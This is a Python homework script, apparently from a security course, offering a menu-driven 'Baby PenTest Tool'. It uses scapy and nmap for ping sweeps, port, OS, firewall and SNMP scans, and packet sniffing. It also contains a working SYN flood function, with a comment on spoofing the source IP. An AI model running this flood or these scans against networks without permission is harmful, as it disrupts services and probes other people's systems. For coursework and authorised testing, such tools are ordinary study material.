mert_arikan_hw2.py

#!/usr/bin/python3.5

from scapy.all import *
import time
import nmap
import random
import os

def icmp_ping(local=True):
    if local:
        finput = int(input("Enter an IP range on local network for ICMP Ping (192.168.<your_input>.<your_input>): "))
        for ip in range(0,finput):
            for jp in range(0,finput):
                pkt = IP(dst="192.168.{0}.{1}".format(str(ip),str(jp)), ttl=42)/ICMP()

                try:
                    reply = sr1(pkt, timeout=2)
                    time.sleep(0.5) 
                    reply.show()
                    print(reply.src, "is online")
                    f = open("icmp.dat","a+")
                    f.write("%s\n"%(reply.src))
                    f.close()
                except AttributeError:
                    print("%s is not online \n" % pkt[IP].dst)
                except:
                    print("%s is not online or there is an error!\n" % pkt[IP].dst)
        return 1           
    else:
        print("Using icmp_ping_addr function to ping specific address...")
        ping_addr = input("Please enter IP address: ") 
        return icmp_ping_addr(ping_addr)    
def icmp_ping_addr(ip_addr):

    pkt = IP(dst=ip_addr, ttl=51)/ICMP()
    reply = sr1(pkt, timeout=2)
    time.sleep(0.5)
    try:
        print(reply.src, "is online")
        f = open("icmp.dat","a+")
        f.write("%s\n"%(reply.src))
        f.close()
        return 1
    except AttributeError:
        print("%s is not online \n" % pkt[IP].dst)
        return 0
    except:
        print("%s is not online or there is an error!\n" % pkt[IP].dst)
        return 0

        
def port_identification():
    try:
        with open("icmp.dat","r") as ls:
            icmp_list = ls.readlines()
            
        for i in range(0,len(icmp_list)):
            #replace new-line escape character and space due to adding of it while nmap searching
            icmp_list[i] = icmp_list[i].replace("\n","")
            icmp_list[i] = icmp_list[i].replace(" ","")
        if len(icmp_list) == 0:
            print("There is no file! Please do an icmp ping,first.\n")
            return 0
        open_hosts = []
        nm = nmap.PortScanner()
        for i in range(0,len(icmp_list)):
            host = icmp_list[i]
            if icmp_ping_addr(host) == 1:
                open_hosts.append(host)
            
        if len(open_hosts) == 0:
            print("No host up! Exiting...\n")
            return 0
        
        for i in range(0,len(open_hosts)):
            fi = open("ports.dat","a+")
            fi.write("IP: %s\n"%(open_hosts[i]))
            nm.scan(open_hosts[i],arguments="-d -d")
            for proto in nm[open_hosts[i]].all_protocols():
                fi.write("PROTOCOL: {0}\n".format(proto))
                lport = nm[open_hosts[i]][proto].keys()
                for port in lport:
                    # python-nmap.PortScanner returns result as dictionary
                    fi.write("Port : %s State : %s Service : %s\n" % (port, nm[open_hosts[i]][proto][port]['state'],nm[open_hosts[i]][proto][port]['name']))
            fi.write("END\n\n")
            fi.close()
        return 1
    except:
        return 0
    
def open_port_identification():
    try:
        with open("ports.dat") as fport:
            flport = fport.readlines()
        
        if len(flport) == 0:
            print("There is no port file! Exiting...")
            return 0
        open_hosts = []
        open_port_file = open("open_ports.dat","w+")
        nm = nmap.PortScanner()
    
        for i in range(0,len(flport)):
            #replace new-line escape character and space due to adding of it while nmap searching
            flport[i] = flport[i].replace("\n","")
            flport[i] = flport[i].replace(" ","")
        for i in range(0,len(flport)):
            host = flport[i]
            if len(host) != 0:
                if host[0] == "I":
                    if icmp_ping_addr(host[3:]) == 1:
                        open_hosts.append(host[3:])
            else:
                continue
        if len(open_hosts) == 0:
            print("No host is up! Exiting...")
            return 0
        
        for i in range(0,len(open_hosts)):
            nm.scan(open_hosts[i])
            open_port_file.write("IP: %s\n"%(open_hosts[i]))
            for proto in nm[open_hosts[i]].all_protocols():
                open_port_file.write("PROTOCOL: %s\n"%(proto))
                lport = nm[open_hosts[i]][proto].keys()
                for port in lport:
                    # python-nmap.PortScanner returns result as dictionary
                    open_port_file.write("Port : %s State : %s Service : %s\n" % (port, nm[open_hosts[i]][proto][port]['state'],nm[open_hosts[i]][proto][port]['name']))
        
        open_port_file.close()
        return 1  
    except:
        return 0   
        

def identify_os():
    """

    This function is using nmap to get a result of guessed OS and show its accuracy. 

    """
    try:
        # Read open_ports file
        with open("open_ports.dat","r") as f:
            fi = f.readlines()
    
        for i in range(0,len(fi)):
            fi[i] = fi[i].replace("\n","")
        hosts = []
        # Parse IP addresses from that file
        for i in range(0,len(fi)):
            temp = fi[i]
            if temp[0] == "I":
                hosts.append(temp[4:])
    
        nm = nmap.PortScanner()
        for host in hosts:
            # Scan with nmap (nmap -0 <host>)
            nm.scan(host,arguments="-O")
            # python-nmap.PortScanner returns result as dictionary
            print("IP: {0}\tOS: {1} {2}\tAccuracy: {3}%\n".format(host,nm[host]["osmatch"][0]["osclass"][0]["osfamily"],nm[host]["osmatch"][0]["osclass"][0]["osgen"],nm[host]["osmatch"][0]["accuracy"]))
            
        return 1
        
    except:
        return 0
        
              
def firewallAndRouterDetection():
    """
    
    Firewall detection exploits not getting a response as a way of detecting if there is a firewall filtering for a given port.
    Router detection detects router of a local network with the knowledge that if a node send a packet with (time-to-live = 0),it will be notified
    from router with an ICMP response.
    
    """
    try:
        nm = nmap.PortScanner()
        wall_file = open("wall.dat","a+")
        
        print("Router of a local network is being detected...")
        # Packet is crafted with ttl set to 0
        packet = sr1(IP(dst="www.google.com", ttl = 0)/ICMP())
        # Router respond to this packet. Now, we have the IP of router on our local network.
        router_addr = packet.src
        print("Router Address is {0}".format(router_addr))
        # Scan router for its open ports with nmap.
        nm.scan(router_addr)
        wall_file.write("==>IP OF ROUTER FOR LOCAL NETWORK OF {0}:{1}<==\n".format(packet.dst,router_addr))
        wall_file.write("BEGIN\n")
        for proto in nm[router_addr].all_protocols():
            lport = nm[router_addr][proto].keys()
            for port in lport:
                # Write each ports,their services and their state to wall.dat     
                wall_file.write("Port : %s State : %s Service : %s\n" % (port, nm[router_addr][proto][port]['state'],nm[router_addr][proto][port]['name']))
        wall_file.write("END\n")
            
        print("This function also detects if there is a stateful firewall which drops packets for specific port on an address or not and gives details about the port if there is no filtering. You can give target as router from previous scan.")
        ip_addr = input("Please enter an address to scan for firewall: ")
        destport = input("If you want to give a specific range for a port scan,please enter it or press ENTER:")
        
        if destport != "":
            destport = "-p{0}".format(destport)
        
        wall_file.write("==>IP OF TARGET:{0}<==\n".format(ip_addr))
        wall_file.write("BEGIN\n")
        nm.scan(ip_addr,arguments="-d -d -sA {0}".format(destport))
        lport = nm[ip_addr]["tcp"].keys() 
        for port in lport:
            if nm[ip_addr]["tcp"][port]["state"] == "filtered":
                print("Possible firewall rule for tcp port {}".format(port))
                # Write filtered port of <target> to wall.dat
                wall_file.write("Possible firewall rule for tcp port {}\n".format(port))
            else:
                # Write each ports,their services and their state to wall.dat 
                wall_file.write("Port : %s State : %s Service : %s\n" % (port, nm[ip_addr]["tcp"][port]['state'],nm[ip_addr]["tcp"][port]['name']))  
        wall_file.write("END\n")
        wall_file.close()
        return 1
    except:
        return 0
            
def webServerDetection():
    """

    webServerDetection  works like this:
        -First, program asks user to give IP addresses of web servers ten times.
        -Then,it scans them via nmap.
        -It writes details of each web server to a file called web.dat

    """
    web = []
    try:
        # Take 10 input from user
        for i in range(0,10):
            inp = str(input("Please enter {0}. web-server address to scan:".format(str(i))))
            print("[*]{0} is appended...".format(inp))
            web.append(inp)
        web_file = open("web.dat","a+")
        nm = nmap.PortScanner()
        for i in range(0,10):
            print("{0} is being scanned now...".format(web[i]))
            #Scan queued web server
            nm.scan(web[i])
            if nm.all_hosts() == []:
                print("{0} is offline or wrong address!".format(web[i]))
            else:
                web_file.write("IP: %s \n"%(web[i]))
                web_file.write("BEGIN\n")
                for proto in nm["".join(nm.all_hosts())].all_protocols():
                    web_file.write("PROTOCOL: %s\n" % proto)
                    lport = nm["".join(nm.all_hosts())][proto].keys()
                    for port in lport:
                        ## Write each ports,their services and their state to web.dat 
                        web_file.write("Port : %s State : %s Service : %s\n" % (port, nm["".join(nm.all_hosts())][proto][port]['state'],nm["".join(nm.all_hosts())][proto][port]['name']))
                web_file.write("END\n")
        web_file.close()
        return 1
    except:
        return 0

def snmpDetection(single_addr):
    """
    
    Simple Network Management Protocol is a protocol that is used to manage networks. It has a lot of privileges on a network and listens on 161 
    and 162 ports. So that, this functions checks if it is listening on port 161.
    
    """
    nm = nmap.PortScanner()
    if single_addr == False:
        finput = int(input("Enter an IP range on local network for SNMP scan (192.168.<your_input>.<your_input>): "))
        snmp_file = open("snmp.dat","a+")
        try:
            for ip in range(0,finput):
                    for jp in range(0,finput):
                        nm.scan("192.168.{0}.{1}".format(ip,jp),arguments="-p161-162")
                        if nm.all_hosts() != []:
                        
                            # python-nmap.PortScanner returns result as dictionary
                            if nm["192.168.{0}.{1}".format(ip,jp)]["tcp"][161]["state"] == "closed":
                                print("{0} has no SNMP!".format("192.168.{0}.{1}".format(ip,jp)))
                            else:
                                print("{0} has SNMP! Scanning it now...".format("192.168.{0}.{1}".format(ip,jp)))
                                snmp_file.write("IP: 192.168.{0}.{1}\n".format(ip,jp))
                                nm.scan("192.168.{0}.{1}".format(ip,jp))
                                for proto in nm["192.168.{0}.{1}".format(ip,jp)].all_protocols():
                                    fi.write("PROTOCOL: %s\n" % proto)
                                    lport = nm["192.168.{0}.{1}".format(ip,jp)][proto].keys()
                                    for port in lport:
                                        snmp_file.write("Port : %s State : %s Service : %s\n" % (port, nm["192.168.{0}.{1}".format(ip,jp)][proto][port]['state'],nm["192.168.{0}.{1}".format(ip,jp)][proto][port]['name']))
                                    snmp_file.write("END\n")
                        else:
                            print("Host is not live!")
                            continue
            snmp_file.close()
        except:
            return 0               
    elif single_addr:
        finput = input("Please enter ip address: ")
        snmp_file = open("snmp.dat","a+")
        try:
            nm.scan(finput,arguments="-p161-162")
            if nm.all_hosts() != []:
            
                # python-nmap.PortScanner returns result as dictionary
                if nm[finput]["tcp"][161]["state"] == "closed" or nm[finput]["tcp"][161]["state"] == "closed|filtered":
                    print("{0} has no SNMP!".format(finput))
                    return 0
                else:
                    print("{0} has SNMP! Scanning it now...".format(finput))
                    snmp_file.write("IP: {0}\n".format(finput))
                    nm.scan(finput,arguments="-sU -sT")
                    for proto in nm[finput].all_protocols():
                        snmp_file.write("PROTOCOL: %s\n" % proto)
                        lport = nm[finput][proto].keys()
                        for port in lport:
                            ## Write each ports,their services and their state to snmp.dat 
                            snmp_file.write("Port : %s State : %s Service : %s\n" % (port, nm[finput][proto][port]['state'],nm[finput][proto][port]['name']))
                        snmp_file.write("END\n")
                    
                snmp_file.close()
                return 1
            else:
                print("Host is not live!")
                return 0
        except:
            return 0
            
def SYN_flood():
    """
    
    This function lets you attack on a target without spoofing of source IP address due to observing packets with wireshark.
    First, user give bunch of inputs about target when asked. Later, the program crafts  TCP/IP packets with SYN flag set on TCP Header in a loop
    until highest port reached.
    
    """
    target = str(input("Enter IP address of target: "))
    lowest_port_range = int(input("Enter lowest port number for flooding: "))
    highest_port_range = int(input("Enter highest port number for flooding: "))
    counter = int(input("Enter how many times each packet will be sent: "))
    try:
        for desport in range(lowest_port_range,highest_port_range+1):
            pkt = IP(dst=target,ttl=51)/TCP(sport=42,dport=desport,flags="S") # src=".".join(str(random.randint(0,255)) for i in range(4)) for IP Spoofing. Cannot observe packets on WireShark when IP is spoofed.
            send(pkt,count=counter)
        return 1
    except:
        return 0
        
        
def m_sniff():
    """
    
    m_sniff function basically do sniffing via given filter if any given. Filter must be written with Berkeley Packet Filter syntax.
    
    """
    
    # Packet Handling Nested Callback Function
    def packet_handle(pkt):
        try:
            print(pkt.summary()) 
            print("===> PACKET DETAILS <===")
            print(pkt.show())
            print("===> END OF PACKET DETAILS <===")
            print("Press Ctrl-C if you want to stop!")
        except:
            return 0
    
    filter_input = input("Apply a filter if you want or just press ENTER. Program uses Berkeley Packet Filter syntax:")
    try:
        if filter_input == "":
            sniff(prn=packet_handle)
        else:
            sniff(filter=filter_input,prn=packet_handle)
        return 1
    except:
        return 0
            
def m_show():
    # All possible file names for tasks
    filenames = ["icmp.dat","ports.dat","open_ports.dat","wall.dat","web.dat","snmp.dat"]
    try:
    
        for item in os.listdir():
            if filenames.count(item):
                select = input("{0} is found! Do you want to see its content? [yes/no]: ".format(item))
                if select.lower() == "yes":
                    with open(item) as f:
                        print("".join(f.readlines()))
        return 1                
    except:
        return 0
    
    
    

  
def m_main():
    # Dictionary for options to simulate switch-case from C/C++
    options = {0:icmp_ping,1:port_identification,2:open_port_identification,3:identify_os,4:firewallAndRouterDetection,5:webServerDetection,6:snmpDetection
              ,7:SYN_flood,8:m_show,9:m_sniff}
    print("Welcome to the Baby PenTest Tool created by Mert Arıkan!")
    print("\t[0] ICMP Ping on a Local Network or a specific single address")
    print("\t[1] Port Identification  (run ICMP Ping first)")
    print("\t[2] Open Port Identification (run Port Identification first)")
    print("\t[3] Guess OSes of Live Hosts from Open Port Identification (run Open Port Identification first)")
    print("\t[4] Firewall and Router Detection")
    print("\t[5] Web Server Detection")
    print("\t[6] SNMP Detection (on local network or single IP address)")
    print("\t[7] SYN Flood on an IP address")
    print("\t[8] Show content(s) of created files so far")
    print("\t[9] Sniff")
    
    select = int(input("> "))
    try:
        if select == 0:
            icmp_bool = input("Do you want to ping local network(enter 0) or just single ip address(enter 1)[0/1]:")
            if icmp_bool == 0:
                result = icmp_ping()
                if result == 0:
                    print("Something goes wrong!")
            else:
                result = icmp_ping(False)
                if result == 0:
                    print("Something goes wrong!")
        elif select == 6:
            snmp_bool = int(input("Do you want to detect snmp on local network(enter 0) or just on single ip address(enter 1)[0/1]:"))
            if snmp_bool == 0:
                result = snmpDetection(False)
                if result == 0:
                    print("Something goes wrong!")
            else:
                result = snmpDetection(True)
                if result == 0:
                    print("Something goes wrong!")
        else:
            result = options[select]()
            # result will return 0 if the operation could not be accomplished
            if result == 0:
                print("Something goes wrong!")
    except:
        print("Please only select one of the numbers below!")


while 1:
    # Start Command Line User Interface
    m_main()